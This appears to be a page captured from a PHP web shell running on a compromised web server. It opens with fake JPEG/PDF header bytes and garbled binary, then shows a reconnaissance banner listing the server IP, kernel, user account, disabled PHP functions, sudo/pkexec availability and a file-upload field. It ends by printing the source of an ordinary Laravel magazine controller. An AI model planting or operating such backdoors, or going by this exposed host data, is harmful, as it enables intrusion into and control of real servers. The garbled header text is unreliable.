ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.129 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/evidenciarevista/admin/app/Http/Controllers/Revista/ |
Upload File : |
<?php namespace Evidencia\Http\Controllers\Revista; use Evidencia\Fatima\Upload; use Evidencia\Http\Controllers\Controller; use Evidencia\Http\Requests; use Evidencia\Revista; use Illuminate\Http\Request; use Illuminate\Support\Facades\Storage; class RevistaController extends Controller { private $revista; public function __construct(Revista $revista) { $this->revista = $revista; } /** * @return \Illuminate\View\View */ public function index() { $revistas = $this->revista->orderBy('name', 'ASC')->get(); return view('pages.revista.index', compact('revistas')); } public function create() { return view('pages.revista.create'); } public function store(Request $request, Upload $upload) { $this->validate($request, ['name' => 'required', 'file' => 'required']); $file = $request->file('file'); $fileName = $upload->makeResize($file, 700, 'uploads/revistas'); $this->revista->create(['name' => $request->get('name'), 'url' => $request->get('url'), 'file' => $fileName]); return redirect()->route('revista.index')->with('ok', 'Dados cadastrados com sucesso!'); } public function update(Request $request, $id) { $this->validate($request, ['name' => 'required']); $this->revista->find($id)->update($request->all()); return redirect()->route('revista.index')->with('ok', 'Dados atualizados com sucesso!'); } public function updateFile(Request $request, $id, Upload $upload) { Storage::disk('local_upload_revistas')->delete($request->get('oldPic')); $file = $request->file('file'); $fileName = $upload->makeResize($file, '700', 'uploads/revistas'); $this->revista->find($id)->update(['file' => $fileName]); return redirect()->back()->with('ok', 'Imagem atualizada com sucesso!'); } public function destroy($id, $file) { $this->revista->find($id)->delete(); Storage::disk('local_upload_revistas')->delete($file); return redirect()->route('revista.index')->with('ok', 'Registro excluído com sucesso!'); } }